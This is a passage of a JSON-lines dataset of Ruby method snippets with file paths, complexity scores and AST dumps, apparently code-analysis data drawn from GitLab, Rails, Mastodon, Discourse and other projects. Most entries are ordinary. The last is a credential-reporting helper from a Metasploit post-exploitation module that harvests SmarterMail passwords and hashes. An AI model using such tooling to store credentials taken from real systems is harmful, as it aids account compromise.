"type\":\"lvar\",\"children\":[\"html_options\"]}]},\"render\"]}]}","id":"9adbefde-d877-4f28-8e74-b08490bbcd0f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics.rb","start_line":34,"raw_source":"def self.settings\n @settings ||= begin\n current_settings = Gitlab::CurrentSettings.current_application_settings\n\n {\n\n method_call_threshold: current_settings[:metrics_method_call_threshold]\n\n }\n end\n end","complexity_score":4.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"settings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@settings\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_settings\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"current_application_settings\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method_call_threshold\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"metrics_method_call_threshold\"]}]}]}]}]}]}]}","id":"cda8d73d-2c20-4b84-966d-8c1daa6f2696"} {"repo_name":"forem","file_path":"./repos/forem/app/services/mailchimp/bot.rb","start_line":152,"raw_source":"def md5_email(email)\n Digest::MD5.hexdigest(email.downcase)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"md5_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"email\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"MD5\"]},\"hexdigest\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"email\"]},\"downcase\"]}]}]}","id":"9f3f6efb-ca61-418e-b5db-8509f22e1903"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/workers/activitypub/synchronize_featured_tags_collection_worker.rb","start_line":8,"raw_source":"def perform(account_id, url)\n ActivityPub::FetchFeaturedTagsCollectionService.new.call(Account.find(account_id), url)\n rescue ActiveRecord::RecordNotFound\n true\n end","complexity_score":4.7,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account_id\"]},{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"FetchFeaturedTagsCollectionService\"]},\"new\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"account_id\"]}]},{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]},null,{\"type\":\"true\",\"children\":[]}]},null]}]}","id":"fde9fb57-31ac-4035-87c5-39d8ad4ad490"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation/query_methods.rb","start_line":1243,"raw_source":"def lock!(locks = true) # :nodoc:\n case locks\n when String, TrueClass, NilClass\n self.lock_value = locks || true\n else\n self.lock_value = false\n end\n\n self\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"lock!\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"locks\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locks\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"const\",\"children\":[null,\"TrueClass\"]},{\"type\":\"const\",\"children\":[null,\"NilClass\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"lock_value=\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locks\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"lock_value=\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"49224c16-4405-4b9f-878f-bf62a187e014"} {"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/formatters.rb","start_line":259,"raw_source":"def underscore(camel_cased_word)\n word = camel_cased_word.to_s.dup\n word.gsub!(/::/, '/')\n word.gsub!(/([A-Z]+)([A-Z][a-z])/, '\\1_\\2')\n word.gsub!(/([a-z\\d])([A-Z])/, '\\1_\\2')\n word.tr!(\"-\", \"_\")\n word.downcase!\n word\n end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"underscore\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"camel_cased_word\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"word\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"camel_cased_word\"]},\"to_s\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"word\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"::\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"word\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"([A-Z]+)([A-Z][a-z])\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\\\\1_\\\\2\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"word\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"([a-z\\\\d])([A-Z])\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\\\\1_\\\\2\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"word\"]},\"tr!\",{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"str\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"word\"]},\"downcase!\"]},{\"type\":\"lvar\",\"children\":[\"word\"]}]}]}","id":"8d90bd9d-815c-4a14-8f28-b7811dc4921c"} {"repo_name":"discourse","file_path":"./repos/discourse/app/services/registered_bookmarkable.rb","start_line":101,"raw_source":"def after_create(guardian, bookmark, opts = {})\n bookmarkable_klass.after_create(guardian, bookmark, opts)\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"after_create\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"guardian\"]},{\"type\":\"arg\",\"children\":[\"bookmark\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bookmarkable_klass\"]},\"after_create\",{\"type\":\"lvar\",\"children\":[\"guardian\"]},{\"type\":\"lvar\",\"children\":[\"bookmark\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}","id":"caf6ef4f-e7c8-458d-bf02-a3f6a443220a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":1752,"raw_source":"def closes_issues(current_user = self.author)\n if target_branch == project.default_branch\n messages = [title, description]\n messages.concat(commits(load_from_gitaly: true).map(&:safe_message)) if merge_request_diff.persisted?\n\n Gitlab::ClosingIssueExtractor.new(project, current_user)\n .closed_by_message(messages.join(\"\\n\"))\n else\n []\n end\n end","complexity_score":27.0,"ast_json":"{\"type\":\"def\",\"children\":[\"closes_issues\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"current_user\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"author\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_branch\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"default_branch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"messages\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"title\"]},{\"type\":\"send\",\"children\":[null,\"description\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request_diff\"]},\"persisted?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"messages\"]},\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commits\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"load_from_gitaly\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"safe_message\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ClosingIssueExtractor\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},\"closed_by_message\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"messages\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},{\"type\":\"array\",\"children\":[]}]}]}","id":"8426c42f-ee15-4ab1-876b-ecc0b963788a"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/command_recorder_test.rb","start_line":45,"raw_source":"def test_inverse_of_raise_exception_on_unknown_commands\n assert_raises(ActiveRecord::IrreversibleMigration) do\n @recorder.inverse_of :execute, [\"some sql\"]\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_inverse_of_raise_exception_on_unknown_commands\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"IrreversibleMigration\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@recorder\"]},\"inverse_of\",{\"type\":\"sym\",\"children\":[\"execute\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"some sql\"]}]}]}]}]}","id":"a8fa54cf-82db-4e81-bc26-e123dfd629d6"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/disk_space.rb","start_line":4,"raw_source":"def self.uploads_used_bytes\n Upload.sum(:filesize).to_i + OptimizedImage.sum(:filesize).to_i\n end","complexity_score":6.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"uploads_used_bytes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Upload\"]},\"sum\",{\"type\":\"sym\",\"children\":[\"filesize\"]}]},\"to_i\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptimizedImage\"]},\"sum\",{\"type\":\"sym\",\"children\":[\"filesize\"]}]},\"to_i\"]}]}]}","id":"227d47d6-b639-48df-84f0-4027c4af971c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/policies/project_policy.rb","start_line":1307,"raw_source":"def team_access_level\n return -1 if @user.nil?\n return -1 unless user_is_user?\n\n @team_access_level ||= lookup_access_level!\n end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"team_access_level\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[-1]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_is_user?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[-1]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@team_access_level\"]},{\"type\":\"send\",\"children\":[null,\"lookup_access_level!\"]}]}]}]}","id":"10a63fff-bf2d-4825-9276-ada866a92614"} {"repo_name":"openproject","file_path":"./repos/openproject/lib_static/plugins/acts_as_attachable/lib/acts_as_attachable.rb","start_line":130,"raw_source":"def edit_permission_default\n :\"edit_#{name.pluralize.underscore}\"\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"edit_permission_default\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"edit_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"pluralize\"]},\"underscore\"]}]}]}]}","id":"09ac9c2a-a3fa-46c1-a56b-2d0f4fa6bcfc"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/share_lock_test.rb","start_line":115,"raw_source":"def test_exclusive_conflicting_purpose\n [true, false].each do |use_upgrading|\n with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_release_latch|\n together = Concurrent::CyclicBarrier.new(2)\n conflicting_exclusive_threads = [\n Thread.new do\n @lock.public_send(use_upgrading ? :sharing : :tap) do\n together.wait\n @lock.exclusive(purpose: :red, compatible: [:green, :purple]) { }\n end\n end,\n Thread.new do\n @lock.public_send(use_upgrading ? :sharing : :tap) do\n together.wait\n @lock.exclusive(purpose: :blue, compatible: [:green]) { }\n end\n end\n ]\n\n assert_threads_stuck conflicting_exclusive_threads # wait for threads to get into their respective `exclusive {}` blocks\n\n # This thread will be stuck as long as any other thread is in\n # a sharing block. While it's blocked, it holds no lock, so it\n # doesn't interfere with any other attempts.\n no_purpose_thread = Thread.new do\n @lock.exclusive { }\n end\n assert_threads_stuck no_purpose_thread\n\n # This thread is compatible with both of the \"primary\"\n # attempts above. It's initially stuck on the outer share\n # lock, but as soon as that's released, it can run --\n # regardless of whether those threads hold share locks.\n compatible_thread = Thread.new do\n @lock.exclusive(purpose: :green, compatible: []) { }\n end\n assert_threads_stuck compatible_thread\n\n assert_threads_stuck conflicting_exclusive_threads\n\n sharing_thread_release_latch.count_down\n\n assert_threads_not_stuck compatible_thread # compatible thread is now able to squeak through\n\n if use_upgrading\n # The \"primary\" threads both each hold a share lock, and are\n # mutually incompatible; they're still stuck.\n assert_threads_stuck conflicting_exclusive_threads\n\n # The thread without a specified purpose is also stuck; it's\n # not compatible with anything.\n assert_threads_stuck no_purpose_thread\n else\n # As the primaries didn't hold a share lock, as soon as the\n # outer one was released, all the exclusive locks are free\n # to be acquired in turn.\n\n assert_threads_not_stuck conflicting_exclusive_threads\n assert_threads_not_stuck no_purpose_thread\n end\n ensure\n conflicting_exclusive_threads.each(&:kill)\n no_purpose_thread.kill\n end\n end\n end","complexity_score":64.68,"ast_json":"{\"type\":\"def\",\"children\":[\"test_exclusive_conflicting_purpose\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"use_upgrading\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_thread_waiting_in_lock_section\",{\"type\":\"sym\",\"children\":[\"sharing\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sharing_thread_release_latch\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"together\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Concurrent\"]},\"CyclicBarrier\"]},\"new\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"lvasgn\",\"children\":[\"conflicting_exclusive_threads\",{\"type\":\"array\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lock\"]},\"public_send\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"use_upgrading\"]},{\"type\":\"sym\",\"children\":[\"sharing\"]},{\"type\":\"sym\",\"children\":[\"tap\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"together\"]},\"wait\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lock\"]},\"exclusive\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"purpose\"]},{\"type\":\"sym\",\"children\":[\"red\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"compatible\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"green\"]},{\"type\":\"sym\",\"children\":[\"purple\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},null]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lock\"]},\"public_send\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"use_upgrading\"]},{\"type\":\"sym\",\"children\":[\"sharing\"]},{\"type\":\"sym\",\"children\":[\"tap\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"together\"]},\"wait\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lock\"]},\"exclusive\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"purpose\"]},{\"type\":\"sym\",\"children\":[\"blue\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"compatible\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"green\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},null]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_threads_stuck\",{\"type\":\"lvar\",\"children\":[\"conflicting_exclusive_threads\"]}]},{\"type\":\"lvasgn\",\"children\":[\"no_purpose_thread\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lock\"]},\"exclusive\"]},{\"type\":\"args\",\"children\":[]},null]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_threads_stuck\",{\"type\":\"lvar\",\"children\":[\"no_purpose_thread\"]}]},{\"type\":\"lvasgn\",\"children\":[\"compatible_thread\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lock\"]},\"exclusive\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"purpose\"]},{\"type\":\"sym\",\"children\":[\"green\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"compatible\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},null]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_threads_stuck\",{\"type\":\"lvar\",\"children\":[\"compatible_thread\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_threads_stuck\",{\"type\":\"lvar\",\"children\":[\"conflicting_exclusive_threads\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sharing_thread_release_latch\"]},\"count_down\"]},{\"type\":\"send\",\"children\":[null,\"assert_threads_not_stuck\",{\"type\":\"lvar\",\"children\":[\"compatible_thread\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"use_upgrading\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_threads_stuck\",{\"type\":\"lvar\",\"children\":[\"conflicting_exclusive_threads\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_threads_stuck\",{\"type\":\"lvar\",\"children\":[\"no_purpose_thread\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_threads_not_stuck\",{\"type\":\"lvar\",\"children\":[\"conflicting_exclusive_threads\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_threads_not_stuck\",{\"type\":\"lvar\",\"children\":[\"no_purpose_thread\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conflicting_exclusive_threads\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"kill\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"no_purpose_thread\"]},\"kill\"]}]}]}]}]}]}","id":"6a2bcdfa-b3f8-4081-8342-eb9ce5f6ead2"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/admin/menus/admin_settings_menu.rb","start_line":65,"raw_source":"def integrations_menu_item\n return ::Sidebars::NilMenuItem.new(item_id: :admin_integrations) unless instance_level_integrations?\n\n ::Sidebars::MenuItem.new(\n title: _('Integrations'),\n link: integrations_admin_application_settings_path,\n active_routes: { path: %w[application_settings#integrations integrations#edit] },\n item_id: :admin_integrations,\n container_html_options: { 'data-testid': 'admin-settings-integrations-link' }\n )\n end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"integrations_menu_item\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_level_integrations?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Sidebars\"]},\"NilMenuItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"item_id\"]},{\"type\":\"sym\",\"children\":[\"admin_integrations\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Sidebars\"]},\"MenuItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Integrations\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link\"]},{\"type\":\"send\",\"children\":[null,\"integrations_admin_application_settings_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active_routes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"application_settings#integrations\"]},{\"type\":\"str\",\"children\":[\"integrations#edit\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"item_id\"]},{\"type\":\"sym\",\"children\":[\"admin_integrations\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container_html_options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data-testid\"]},{\"type\":\"str\",\"children\":[\"admin-settings-integrations-link\"]}]}]}]}]}]}]}]}","id":"6000cde8-6ffb-40c3-a760-cd7dc2af0220"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/api/utilities/endpoints/delete.rb","start_line":35,"raw_source":"def default_instance_generator(model)\n ->(_params) do\n instance_variable_get(:\"@#{model.name.demodulize.underscore}\")\n end\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"default_instance_generator\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_params\"]}]},{\"type\":\"send\",\"children\":[null,\"instance_variable_get\",{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"name\"]},\"demodulize\"]},\"underscore\"]}]}]}]}]}]}","id":"89d3318b-b43b-4646-a660-7cac8679e131"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/smartermail.rb","start_line":142,"raw_source":"def report_cred(opts)\n service_data = {\n address: opts[:ip],\n port: opts[:port],\n service_name: opts[:service_name],\n protocol: 'tcp',\n workspace_id: myworkspace_id\n }\n\n credential_data = {\n post_reference_name: refname,\n session_id: session_db_id,\n origin_type: :session,\n private_data: opts[:password],\n private_type: opts[:private_type],\n username: opts[:user]\n }\n\n if opts[:private_type] == :nonreplayable_hash\n credential_data.merge!(jtr_format: opts[:jtr_format])\n end\n\n credential_data.merge!(service_data)\n\n login_data = {\n core: create_credential(credential_data),\n status: Metasploit::Model::Login::Status::UNTRIED\n }.merge(service_data)\n\n create_credential_login(login_data)\n end","complexity_score":21.8,"ast_json":"{\"type\":\"def\",\"children\":[\"report_cred\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ip\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"service_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_reference_name\"]},{\"type\":\"send\",\"children\":[null,\"refname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"session_id\"]},{\"type\":\"send\",\"children\":[null,\"session_db_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"session\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"private_type\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\